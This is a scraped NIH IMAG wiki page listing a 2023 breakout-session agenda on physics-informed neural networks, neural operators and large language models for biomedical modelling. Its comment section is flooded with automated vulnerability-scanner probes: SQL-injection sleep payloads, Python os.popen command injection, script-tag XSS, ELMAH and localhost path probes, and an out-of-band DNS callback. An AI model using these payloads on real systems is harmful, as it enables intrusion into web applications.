- Log in to post comments
Back to 2023 Agenda
Back to main Breakout Session page
2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models
MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya
- What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
- What are the opportunities to improve these methods?
- How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)?
- How can these methods be applied to neuroscience?
- How can these methods be used in the IMAG initiatives discussed in Session 2.1?
- How can we use biomechanistic and bioinformatics models synenergistically?
- Graph neural networks and causal inference.
- Uncertainty quantification in neural networks.
Resources:
Articles of Interest:
[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)
4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science
Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons
Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators
A Deep convolutional neural network for classification of red blood cells in sickle cell anemia
NIH Announcements:
IMAG wiki: Models, Tools and Databases
Comment
- Log in to post comments
[::1]/elmah.axd
- Log in to post comments
__import__('os').popen(('expr 268409241 - {0}').format('55976')).read()
- Log in to post comments
3
- Log in to post comments
\';netsparker(0x0350E5);///
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
1'));SELECT pg_sleep(25)-- /* d18d1914-a1d2-42ad-a8ad-3292b9e0d50e */
- Log in to post comments
- Log in to post comments
__import__('os').popen(('SET /A 268409241 - {0}').format('92074')).read()
- Log in to post comments
3
- Log in to post comments
',netsparker(0x0350EB),'
- Log in to post comments
1'));SELECT pg_sleep(25)-- /* f29001eb-43f9-44f1-9e53-c7c2d5fcfc3b */
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
- Log in to post comments
__import__('os').popen(('SET /A 268409241 - {0}').format('55534')).read()
- Log in to post comments
netsparker(0x0350FC)
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
1));SELECT pg_sleep(25)-- /* 7f32f64f-5666-4f0c-a337-98393835d0b9 */
- Log in to post comments
54.243.205.65/elmah
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
netsparker(0x035102);
- Log in to post comments
1));SELECT pg_sleep(25)-- /* 3506d49a-ea2a-498d-81b9-0bceaa7e47f2 */
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
127.100.11.2/elmah
- Log in to post comments
3
- Log in to post comments
'+netsparker(0x035108)+'
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 3b77cb7d-2a84-49a7-8a1d-30e63bdeae12 */
- Log in to post comments
3
- Log in to post comments
127.0.0.1/elmah
- Log in to post comments
'"@--></style></scRipt><scRipt>netsparker(0x03512E)</scRipt>
- Log in to post comments
3
- Log in to post comments
((SELECT(1)FROM(SELECT(SLEEP(25)))A)) /* 61d74ae5-3cd4-44f2-b332-4dbee8b31c64 */
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
[::1]/elmah
- Log in to post comments
3
- Log in to post comments
3
- Log in to post comments
%22%2bnetsparker(0x035148)%2b%22
- Log in to post comments
3
- Log in to post comments
'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* df4d5f22-1deb-43f2-a4f7-915a4f943525 */
- Log in to post comments
3
- Log in to post comments
gethostbyname(trim('zt9p3ydc3arceivjuvanqz4k5eb0xrluclckmb4n'.'0qa.r87.me'))
- Log in to post comments
 
    
3